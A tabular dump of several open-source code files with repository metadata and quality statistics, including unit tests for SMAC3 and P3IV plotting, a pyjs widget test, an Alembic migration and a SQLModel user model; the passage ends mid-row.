hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
fc2bddd040e7f1112e55606e031b923447047c58 | 827 | py | Python | tests/test006.py | takipsizad/pyjs | 54db0ba6747aca744f9f3c3e985a17e913dfb951 | [
"ECL-2.0",
"Apache-2.0"
] | 739 | 2015-01-01T02:05:11.000Z | 2022-03-30T15:26:16.000Z | tests/test006.py | takipsizad/pyjs | 54db0ba6747aca744f9f3c3e985a17e913dfb951 | [
"ECL-2.0",
"Apache-2.0"
] | 33 | 2015-03-25T23:17:04.000Z | 2021-08-19T08:25:22.000Z | tests/test006.py | takipsizad/pyjs | 54db0ba6747aca744f9f3c3e985a17e913dfb951 | [
"ECL-2.0",
"Apache-2.0"
] | 167 | 2015-01-01T22:27:47.000Z | 2022-03-17T13:29:19.000Z | import DOM
class UIObject:
def getElement(self):
return self.element
def setElement(self, element):
self.element = element
def setStyleName(self, style):
DOM.setAttribute(self.element, "className", style)
class Widget(UIObject):
def setParent(self, parent):
self.parent = parent
class FocusWidget(Widget):
def __init__(self, element):
self.setElement(element)
class ButtonBase(FocusWidget):
def __init__(self, element):
FocusWidget.__init__(self, element)
def setHTML(self, html):
DOM.setInnerHTML(self.getElement(), html)
class Button(ButtonBase):
def __init__(self, html=None):
ButtonBase.__init__(self, DOM.createButton())
self.setStyleName("gwt-Button")
if html:
self.setHTML(html)
| 19.232558 | 58 | 0.652963 | 89 | 827 | 5.842697 | 0.314607 | 0.148077 | 0.063462 | 0.069231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.23942 | 827 | 42 | 59 | 19.690476 | 0.826709 | 0 | 0 | 0.08 | 0 | 0 | 0.022975 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.32 | false | 0 | 0.04 | 0.04 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
fc4008e99034e484b57eb74825c7cedaf5f8dd37 | 7,941 | py | Python | test/test_tae/test_exec_func.py | lilleswing/SMAC3 | 9890e0cdc4ce898de25fa00d794cbe0af83a09c2 | [
"BSD-3-Clause"
] | null | null | null | test/test_tae/test_exec_func.py | lilleswing/SMAC3 | 9890e0cdc4ce898de25fa00d794cbe0af83a09c2 | [
"BSD-3-Clause"
] | null | null | null | test/test_tae/test_exec_func.py | lilleswing/SMAC3 | 9890e0cdc4ce898de25fa00d794cbe0af83a09c2 | [
"BSD-3-Clause"
] | null | null | null | import os
import sys
import time
import unittest
import unittest.mock
import numpy as np
from smac.configspace import ConfigurationSpace, Configuration
from smac.tae.execute_func import ExecuteTAFuncDict, ExecuteTAFuncArray
from smac.scenario.scenario import Scenario
from smac.stats.stats import Stats
from smac.tae.execute_ta_run import StatusType
class TestExecuteFunc(unittest.TestCase):
def setUp(self):
self.cs = ConfigurationSpace()
self.scenario = Scenario({'cs': self.cs,
'run_obj': 'quality',
'output_dir': ''})
self.stats = Stats(scenario=self.scenario)
def test_run(self):
def target(x):
return x**2
taf = ExecuteTAFuncDict(ta=target, stats=self.stats)
rval = taf.run(config=2)
self.assertFalse(taf._accepts_instance)
self.assertFalse(taf._accepts_seed)
self.assertEqual(rval[0], StatusType.SUCCESS)
self.assertEqual(rval[1], 4)
self.assertGreaterEqual(rval[2], 0.0)
self.assertEqual(rval[3], dict())
def target(x, seed):
return x ** 2, {'key': seed}
taf = ExecuteTAFuncDict(ta=target, stats=self.stats)
rval = taf.run(config=2, instance='test')
self.assertFalse(taf._accepts_instance)
self.assertTrue(taf._accepts_seed)
self.assertEqual(rval[0], StatusType.SUCCESS)
self.assertEqual(rval[1], 4)
self.assertGreaterEqual(rval[2], 0.0)
self.assertEqual(rval[3], {'key': 12345})
def target(x, seed, instance):
return x ** 2, {'key': seed, 'instance': instance}
taf = ExecuteTAFuncDict(ta=target, stats=self.stats)
rval = taf.run(config=2, instance='test')
self.assertTrue(taf._accepts_instance)
self.assertTrue(taf._accepts_seed)
self.assertEqual(rval[0], StatusType.SUCCESS)
self.assertEqual(rval[1], 4)
self.assertGreaterEqual(rval[2], 0.0)
self.assertEqual(rval[3], {'key': 12345, 'instance': 'test'})
def target(x):
raise Exception(x)
taf = ExecuteTAFuncDict(ta=target, stats=self.stats)
rval = taf.run(config=2)
self.assertFalse(taf._accepts_instance)
self.assertFalse(taf._accepts_seed)
self.assertEqual(rval[0], StatusType.CRASHED)
self.assertEqual(rval[1], 2147483647.0)
self.assertGreaterEqual(rval[2], 0.0)
self.assertEqual(rval[3], dict())
def test_run_wo_pynisher(self):
def target(x):
return x**2
taf = ExecuteTAFuncDict(ta=target, stats=self.stats, use_pynisher=False)
rval = taf.run(config=2)
self.assertFalse(taf._accepts_instance)
self.assertFalse(taf._accepts_seed)
self.assertEqual(rval[0], StatusType.SUCCESS)
self.assertEqual(rval[1], 4)
self.assertGreaterEqual(rval[2], 0.0)
self.assertEqual(rval[3], dict())
def target(x, seed, instance):
return x ** 2, {'key': seed, 'instance': instance}
taf = ExecuteTAFuncDict(ta=target, stats=self.stats, use_pynisher=False)
rval = taf.run(config=2, instance='test')
self.assertTrue(taf._accepts_instance)
self.assertTrue(taf._accepts_seed)
self.assertEqual(rval[0], StatusType.SUCCESS)
self.assertEqual(rval[1], 4)
self.assertGreaterEqual(rval[2], 0.0)
self.assertEqual(rval[3], {'key': 12345, 'instance': 'test'})
def target(x):
return None
taf = ExecuteTAFuncDict(ta=target, stats=self.stats, use_pynisher=False)
rval = taf.run(config=2)
self.assertFalse(taf._accepts_instance)
self.assertFalse(taf._accepts_seed)
self.assertEqual(rval[0], StatusType.CRASHED)
self.assertEqual(rval[1], 2147483647.0)
self.assertGreaterEqual(rval[2], 0.0)
self.assertEqual(rval[3], dict())
def target(x):
raise Exception(x)
taf = ExecuteTAFuncDict(ta=target, stats=self.stats, use_pynisher=False)
rval = taf.run(config=2)
self.assertFalse(taf._accepts_instance)
self.assertFalse(taf._accepts_seed)
self.assertEqual(rval[0], StatusType.CRASHED)
self.assertEqual(rval[1], 2147483647.0)
self.assertGreaterEqual(rval[2], 0.0)
self.assertEqual(rval[3], dict())
@unittest.mock.patch.object(Configuration, 'get_dictionary')
def test_run_execute_func_for_fmin(self, mock):
def target(x):
return x[0] ** 2 + x[1]
mock.return_value = {'x1': 2, 'x2': 1}
c = Configuration(configuration_space=self.cs, values={})
taf = ExecuteTAFuncArray(target, stats=self.stats)
rval = taf._call_ta(target, c, {})
self.assertEqual(rval, 5)
def test_memout(self):
def fill_memory(*args):
a = np.random.random_sample((10000, 10000)).astype(np.float64)
return np.sum(a)
taf = ExecuteTAFuncDict(ta=fill_memory, stats=self.stats,
memory_limit=1024)
rval = taf.run(config=None)
platform = os.getenv('TRAVIS_OS_NAME')
if platform is None:
platform = {'linux': 'linux',
'darwin': 'osx'}.get(sys.platform)
print(platform, sys.platform)
if platform == 'linux':
self.assertEqual(rval[0], StatusType.MEMOUT)
self.assertEqual(rval[1], 2147483647.0)
self.assertGreaterEqual(rval[2], 0.0)
self.assertEqual(rval[3], dict())
elif platform == 'osx':
self.assertEqual(rval[0], StatusType.SUCCESS)
else:
raise ValueError('Test cannot be performed on platform %s' %
sys.platform)
def test_timeout(self):
def run_over_time(*args):
time.sleep(5)
taf = ExecuteTAFuncDict(ta=run_over_time, stats=self.stats)
rval = taf.run(config=None, cutoff=1)
self.assertEqual(rval[0], StatusType.TIMEOUT)
self.assertEqual(rval[1], 2147483647.0)
self.assertGreaterEqual(rval[2], 0.0)
self.assertEqual(rval[3], dict())
def test_timeout_runtime(self):
def run_over_time(*args):
time.sleep(5)
taf = ExecuteTAFuncDict(ta=run_over_time, stats=self.stats,
run_obj='runtime', par_factor=11)
rval = taf.run(config=None, cutoff=1)
self.assertEqual(rval[0], StatusType.TIMEOUT)
self.assertGreaterEqual(rval[1], 11)
self.assertGreaterEqual(rval[2], 1)
self.assertEqual(rval[3], dict())
def test_fail_silent(self):
def function(*args):
return
taf = ExecuteTAFuncDict(ta=function, stats=self.stats)
rval = taf.run(config=None, cutoff=1)
self.assertEqual(rval[0], StatusType.CRASHED)
self.assertEqual(rval[1], 2147483647.0)
self.assertGreaterEqual(rval[2], 0.0)
self.assertEqual(rval[3], dict())
def test_cutoff_too_large(self):
def target(x):
return x**2
taf = ExecuteTAFuncDict(ta=target, stats=self.stats)
self.assertRaises(ValueError, taf.run, config=2, cutoff=65536)
def test_non_serializable(self):
# cost non serializable
def target(x):
return np.int32(x)
taf = ExecuteTAFuncDict(ta=target, stats=self.stats)
msg = "Please ensure all objects returned are JSON serializable."
with self.assertRaisesRegex(TypeError, msg):
taf.run(config=2)
# additional info non serializable
def target(x):
return x, {'x': np.int32(x)}
taf = ExecuteTAFuncDict(ta=target, stats=self.stats)
msg = "Please ensure all objects returned are JSON serializable."
with self.assertRaisesRegex(TypeError, msg):
taf.run(config=2)
| 38.362319 | 80 | 0.617932 | 949 | 7,941 | 5.084299 | 0.151739 | 0.115026 | 0.145699 | 0.053886 | 0.723316 | 0.706114 | 0.67772 | 0.671295 | 0.671295 | 0.671295 | 0 | 0.036855 | 0.258532 | 7,941 | 206 | 81 | 38.548544 | 0.782609 | 0.0068 | 0 | 0.627119 | 0 | 0 | 0.040081 | 0 | 0 | 0 | 0 | 0 | 0.389831 | 1 | 0.146893 | false | 0 | 0.062147 | 0.062147 | 0.282486 | 0.00565 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
fc591d1cad51221a2c3ad704a9cb575fb4cabdab | 4,885 | py | Python | p3iv_visualization/test/test_motion.py | fzi-forschungszentrum-informatik/P3IV | 51784e6dc03dcaa0ad58a5078475fa4daec774bd | [
"BSD-3-Clause"
] | 4 | 2021-07-27T06:56:22.000Z | 2022-03-22T11:21:30.000Z | p3iv_visualization/test/test_motion.py | fzi-forschungszentrum-informatik/P3IV | 51784e6dc03dcaa0ad58a5078475fa4daec774bd | [
"BSD-3-Clause"
] | null | null | null | p3iv_visualization/test/test_motion.py | fzi-forschungszentrum-informatik/P3IV | 51784e6dc03dcaa0ad58a5078475fa4daec774bd | [
"BSD-3-Clause"
] | 1 | 2021-10-10T01:56:44.000Z | 2021-10-10T01:56:44.000Z | # This file is part of the P3IV Simulator (https://github.com/fzi-forschungszentrum-informatik/P3IV),
# copyright by FZI Forschungszentrum Informatik, licensed under the BSD-3 license (see LICENSE file in main directory)
import unittest
import numpy as np
from p3iv_utils.coordinate_transformation import CoordinateTransform
from p3iv_utils_probability.distributions import BivariateNormalDistributionSequence
from p3iv_visualization.motion.plot_array2d import PlotArray2D
from p3iv_visualization.motion.plot_motion_components import PlotMotionComponents
import matplotlib.pyplot as plt
import matplotlib.gridspec as gridspec
class PlotArray2dTest(unittest.TestCase):
def test_array2d(self):
fig, ax = plt.subplots(1, 1)
p = PlotArray2D(ax, "Timesteps")
timesteps_ = np.arange(12) * 0.5
p.initialize(timesteps_)
p.set_x_axis()
p.set_y_axis(-2, 20, increment=3)
motion_array2d = np.zeros(24).reshape(-1, 2)
motion_array2d[:, 0] = 5 * np.ones(12) + np.arange(12)
motion_array2d[:, 1] = 4 * np.ones(12)
p.update_motion_array2d(motion_array2d, index4pin2free=5)
plt.show()
class PlotMotionComponentsTest(unittest.TestCase):
def setUp(self):
self.position = np.array(
[
[4.92560704e01, 1.41206491e-15],
[5.00560704e01, -1.81126815e-15],
[5.08560704e01, 2.98372438e-16],
[5.17232704e01, -1.14838694e-15],
[5.27024704e01, 2.06952511e-15],
[5.37936704e01, -1.87350135e-15],
[5.49999075e01, -1.08940634e-15],
[5.63190916e01, 2.49800181e-15],
[5.77454961e01, -1.29236899e-15],
[5.92709730e01, -2.76861867e-15],
[6.08859243e01, -4.51881314e-16],
[6.25800593e01, -4.71844785e-16],
[6.43429694e01, -4.57966998e-16],
[6.61645485e01, 8.67361738e-16],
]
)
self.velocity = np.array(
[
[0.00000000e00, 0.00000000e00],
[4.00000000e00, -1.61166653e-14],
[4.00000000e00, 1.05482029e-14],
[4.33600000e00, -7.23379689e-15],
[4.89600000e00, 1.60895602e-14],
[5.45600000e00, -1.97151323e-14],
[6.03118564e00, 3.92047506e-15],
[6.59592080e00, 1.79370407e-14],
[7.13202224e00, -1.89518540e-14],
[7.62738442e00, -7.38124839e-15],
[8.07475648e00, 1.15836868e-14],
[8.47067513e00, -9.98173551e-17],
[8.81455030e00, 6.93889390e-17],
[9.10789555e00, 6.62664368e-15],
]
)
self.acceleration = np.array(
[
[0.00000000e00, 0.00000000e00],
[0.00000000e00, 0.00000000e00],
[-1.77635684e-13, 1.33324341e-13],
[1.68000000e00, -8.89099992e-14],
[2.80000000e00, 1.16616786e-13],
[2.80000000e00, -1.79023463e-13],
[2.87592818e00, 1.18178037e-13],
[2.82367581e00, 7.00828284e-14],
[2.68050723e00, -1.84444474e-13],
[2.47681090e00, 5.78530279e-14],
[2.23686028e00, 9.48246758e-14],
[1.97959324e00, -5.84175206e-14],
[1.71937588e00, 8.46031470e-16],
[1.46672621e00, 3.27862737e-14],
]
)
self.jerk = np.array(
[
[0.00000000e00, 0.00000000e00],
[0.00000000e00, 0.00000000e00],
[0.00000000e00, 0.00000000e00],
[8.40000000e00, -1.11117170e-12],
[5.60000000e00, 1.02763392e-12],
[-9.76996262e-12, -1.47820124e-12],
[3.79640891e-01, 1.48600750e-12],
[-2.61261842e-01, -2.40476042e-13],
[-7.15842895e-01, -1.27263651e-12],
[-1.01848163e00, 1.21148751e-12],
[-1.19975314e00, 1.84858239e-13],
[-1.28633516e00, -7.66210982e-13],
[-1.30108684e00, 2.96317760e-13],
[-1.26324832e00, 1.59701211e-13],
]
)
self.timesteps = np.arange(len(self.position)) * 0.5
def test_plot_motion_components(self):
fig = plt.figure(1)
gs = gridspec.GridSpec(3, 1)
gs.update(hspace=0.00)
ax0 = plt.subplot(gs[0, 0])
ax1 = plt.subplot(gs[1, 0])
ax2 = plt.subplot(gs[2, 0])
p = PlotMotionComponents(ax0, ax1, ax2)
p.initialize(self.timesteps)
p.set_labels()
p.update_profile(self.velocity, self.acceleration, self.jerk, index4pin2free=6)
plt.show()
if __name__ == "__main__":
unittest.main()
| 37.290076 | 118 | 0.549437 | 532 | 4,885 | 4.979323 | 0.392857 | 0.05436 | 0.044168 | 0.08154 | 0.085693 | 0.062288 | 0.050585 | 0.050585 | 0.050585 | 0.050585 | 0 | 0.390559 | 0.31914 | 4,885 | 130 | 119 | 37.576923 | 0.405893 | 0.044217 | 0 | 0.072727 | 0 | 0 | 0.003643 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.027273 | false | 0 | 0.072727 | 0 | 0.118182 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
fc78a5a6f118e7f323893d13bd33e6cb47694581 | 99 | py | Python | output/models/ms_data/complex_type/ct_d027_xsd/__init__.py | tefra/xsdata-w3c-tests | b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f | [
"MIT"
] | 1 | 2021-08-14T17:59:21.000Z | 2021-08-14T17:59:21.000Z | output/models/ms_data/complex_type/ct_d027_xsd/__init__.py | tefra/xsdata-w3c-tests | b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f | [
"MIT"
] | 4 | 2020-02-12T21:30:44.000Z | 2020-04-15T20:06:46.000Z | output/models/ms_data/complex_type/ct_d027_xsd/__init__.py | tefra/xsdata-w3c-tests | b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f | [
"MIT"
] | null | null | null | from output.models.ms_data.complex_type.ct_d027_xsd.ct_d027 import Root
__all__ = [
"Root",
]
| 16.5 | 71 | 0.747475 | 16 | 99 | 4.0625 | 0.8125 | 0.184615 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.070588 | 0.141414 | 99 | 5 | 72 | 19.8 | 0.694118 | 0 | 0 | 0 | 0 | 0 | 0.040404 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
fc82bf22745ccdeb9f2191ed97a711a1ae12d292 | 1,516 | py | Python | migrations/versions/c13eb5634222_.py | YellowFlash2012/blog-restful-routing | cd9cbce9868dc1b5fc86fe97c74d941e650eb331 | [
"MIT"
] | null | null | null | migrations/versions/c13eb5634222_.py | YellowFlash2012/blog-restful-routing | cd9cbce9868dc1b5fc86fe97c74d941e650eb331 | [
"MIT"
] | null | null | null | migrations/versions/c13eb5634222_.py | YellowFlash2012/blog-restful-routing | cd9cbce9868dc1b5fc86fe97c74d941e650eb331 | [
"MIT"
] | null | null | null | """empty message
Revision ID: c13eb5634222
Revises:
Create Date: 2021-12-26 17:35:39.122789
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = 'c13eb5634222'
down_revision = None
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.create_table('blog_posts',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('title', sa.String(length=250), nullable=False),
sa.Column('subtitle', sa.String(length=250), nullable=False),
sa.Column('date', sa.String(length=250), nullable=False),
sa.Column('body', sa.Text(), nullable=False),
sa.Column('author', sa.String(length=250), nullable=False),
sa.Column('img_url', sa.String(length=250), nullable=False),
sa.PrimaryKeyConstraint('id'),
sa.UniqueConstraint('title')
)
op.create_table('users',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('name', sa.String(length=250), nullable=False),
sa.Column('email', sa.String(length=250), nullable=False),
sa.Column('password', sa.String(length=250), nullable=False),
sa.PrimaryKeyConstraint('id'),
sa.UniqueConstraint('email'),
sa.UniqueConstraint('name'),
sa.UniqueConstraint('password')
)
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.drop_table('users')
op.drop_table('blog_posts')
# ### end Alembic commands ###
| 30.32 | 65 | 0.674142 | 193 | 1,516 | 5.243523 | 0.331606 | 0.086957 | 0.163043 | 0.186759 | 0.533597 | 0.533597 | 0.533597 | 0.533597 | 0.221344 | 0.142292 | 0 | 0.048475 | 0.156332 | 1,516 | 49 | 66 | 30.938776 | 0.742768 | 0.186675 | 0 | 0.129032 | 0 | 0 | 0.102843 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.064516 | false | 0.064516 | 0.064516 | 0 | 0.129032 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
fc86b224265ef8561f8d6f62afe56b23547df115 | 77 | py | Python | pyoptools/misc/frft/__init__.py | fcichos/pyoptools | ce0df42d45420f02d351e76d5f11fded4df8969d | [
"BSD-3-Clause"
] | 1 | 2021-05-21T14:11:09.000Z | 2021-05-21T14:11:09.000Z | pyoptools/misc/frft/__init__.py | fcichos/pyoptools | ce0df42d45420f02d351e76d5f11fded4df8969d | [
"BSD-3-Clause"
] | null | null | null | pyoptools/misc/frft/__init__.py | fcichos/pyoptools | ce0df42d45420f02d351e76d5f11fded4df8969d | [
"BSD-3-Clause"
] | 2 | 2015-03-21T23:37:10.000Z | 2018-10-22T18:03:57.000Z | from frft import *
__all__=["frft",
"frft2",
"rs_kernel"]
| 12.833333 | 21 | 0.506494 | 8 | 77 | 4.25 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019608 | 0.337662 | 77 | 5 | 22 | 15.4 | 0.647059 | 0 | 0 | 0 | 0 | 0 | 0.233766 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
fc9af3eb96c90aa2111395c35af517bb0c8b6ca9 | 315 | py | Python | user_auth/models/user.py | wjshan/user_auth | 3185472f069be2d9676e842489104a1a5f881861 | [
"Unlicense"
] | null | null | null | user_auth/models/user.py | wjshan/user_auth | 3185472f069be2d9676e842489104a1a5f881861 | [
"Unlicense"
] | null | null | null | user_auth/models/user.py | wjshan/user_auth | 3185472f069be2d9676e842489104a1a5f881861 | [
"Unlicense"
] | null | null | null | import datetime
from sqlmodel import Field, Relationship, SQLModel
class User(SQLModel, table=True):
__tablename__ = "users"
id: int = Field(primary_key=True)
create_at: datetime.datetime = Field(default_factory=lambda: datetime.datetime.utcnow())
user_name: str
password: str
alias: str
| 24.230769 | 92 | 0.730159 | 39 | 315 | 5.692308 | 0.666667 | 0.144144 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.177778 | 315 | 12 | 93 | 26.25 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0.015873 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.111111 | 0.222222 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
fc9d2a80ce74e6dccf497065991a1eceb8121d1c | 594 | py | Python | calaccess_website/views/docs/__init__.py | california-civic-data-coalition/django-calaccess-downloads | 198f3b5b7fca846d9ce7c84f3a5bfa0ff4d3d3f7 | [
"MIT"
] | 3 | 2016-09-16T16:50:31.000Z | 2021-07-30T23:58:29.000Z | calaccess_website/views/docs/__init__.py | world-admin/django-calaccess-downloads-website | 205480959358f51f4a7f11275fb8f60bd1091025 | [
"MIT"
] | 193 | 2016-05-27T16:34:10.000Z | 2021-09-24T16:11:04.000Z | calaccess_website/views/docs/__init__.py | world-admin/django-calaccess-downloads-website | 205480959358f51f4a7f11275fb8f60bd1091025 | [
"MIT"
] | 4 | 2016-06-14T00:41:19.000Z | 2022-01-14T00:29:45.000Z | from .calaccess import (
CalAccessFileList,
CalAccessFileDetail,
CalAccessFileDownloadsList,
)
from .ccdc import (
CcdcFileList,
CcdcFileDetail,
CcdcFileDownloadsList,
)
from .forms import FormList, FormDetail
from .official import OfficialDocumentation
from .other import DocumentationIndex, FAQ
__all__ = (
'CalAccessFileList',
'CalAccessFileDetail',
'CalAccessFileDownloadsList',
'CcdcFileList',
'CcdcFileDetail',
'CcdcFileDownloadsList',
'DocumentationIndex',
'FAQ',
'FormList',
'FormDetail',
'OfficialDocumentation',
)
| 20.482759 | 43 | 0.717172 | 38 | 594 | 11.105263 | 0.5 | 0.170616 | 0.293839 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.193603 | 594 | 28 | 44 | 21.214286 | 0.881002 | 0 | 0 | 0 | 0 | 0 | 0.284512 | 0.114478 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.192308 | 0 | 0.192308 | 0 | 0 | 0 | 1 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
fca8cf2e67c10a8627ac3cf4299c4f2458de5f27 | 426 | py | Python | Leetcode/0173. Binary Search Tree Iterator/0173-2.py | Next-Gen-UI/Code-Dynamics | a9b9d5e3f27e870b3e030c75a1060d88292de01c | [
"MIT"
